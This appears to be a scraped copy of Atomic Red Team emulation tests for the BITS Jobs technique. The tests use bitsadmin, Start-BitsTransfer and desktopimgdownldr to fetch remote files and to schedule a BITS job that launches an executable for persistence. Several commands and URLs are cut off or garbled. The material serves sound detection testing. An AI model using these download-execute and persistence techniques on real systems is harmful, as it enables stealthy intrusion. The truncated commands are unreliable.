

T1037.001

T1037.002

T1037.004

T1037.005

T1039

T1040

auto_generated_guid: 3c73d728-75fb-4180-a12f-6712864d7421

Inputs:

Name	Description	Туре	Default Value
remote_file	Remote file to download	Url	https://raw.githubusercontent.com/redcanaryco/ared-team/master/atomics/T1197/T1197.md
local_file	Local file path to save downloaded file	Path	%temp%\bitsadmin1_flag.ps1

Attack Commands: Run with command_prompt!

bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{ \Box

Cleanup Commands:

del #{local_file} >nul 2>&1

Q

Atomic Test #2 - Bitsadmin Download (PowerShell)

This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload leveraging PowerShell

Upon execution you will find a github markdown file downloaded to the Temp directory

Supported Platforms: Windows

auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc

Inputs:

Name	Description	Туре	Default Value
remote_file	Remote file to download	Url	https://raw.githubusercontent.com/redcanaryco/ared-team/master/atomics/T1197/T1197.md
local_file	Local file path to save downloaded file	Path	\$env:TEMP\bitsadmin2_flag.ps1

Attack Commands: Run with powershell!

 $\textbf{Start-BitsTransfer -Priority foreground -Source } \#\{\texttt{remote_file}\} \ \texttt{-Destinat} \ \square$

Cleanup Commands:

Remove-Item #{local_file} -ErrorAction Ignore

Q

Atomic Test #3 - Persist, Download, & Execute

This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps. Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable. This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS" This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.

Supported Platforms: Windows

auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae

Inputs:

Name	Description	Туре	Default Value	
command_path	Path of command to execute	Path	C:\Windows\system32\notepad.exe	
bits_job_name	Name of BITS job	String	AtomicBITS	
local_file	Local file path to save downloaded file	Path	%temp%\bitsadmin3_flag.ps1	
remote_file	Remote file to download	Url	https://raw.githubusercontent.com/redcanar red-team/master/atomics/T1197/T1197.md	

Attack Commands: Run with command_prompt!

```
bitsadmin.exe /create #{bits_job_name}

bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}

bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL

bitsadmin.exe /resume #{bits_job_name}

ping -n 5 127.0.0.1 >nul 2>&1

bitsadmin.exe /complete #{bits_job_name}
```

Cleanup Commands:

```
del #{local_file} >nul 2>&1
```

Atomic Test #4 - Bits download using desktopimgdownldr.exe (cmd)

This test simulates using desktopimgdownldr.exe to download a malicious file instead of a desktop or lockscreen background img. The process that actually makes the TCP connection and creates the file on the disk is a svchost process ("-k netsvc -p -s BITS") and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/

Supported Platforms: Windows

auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114

Inputs:

Name	Description	Туре	Default Value
remote_file	Remote file to download	Url	https://raw.githubusercontent.com/rec red-team/master/atomics/T1197/T119
download_path	Local file path to save downloaded file	Path	SYSTEMROOT=C:\Windows\Temp
cleanup_path	path to delete file as part of cleanup_command	Path	C:\Windows\Temp\Personalization\Lo
cleanup_file	file to remove as part of cleanup_command	String	*.md

Attack Commands: Run with command_prompt!

set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{ ☐

Cleanup Commands:

del #{cleanup_path}\#{cleanup_file} >nul 2>&1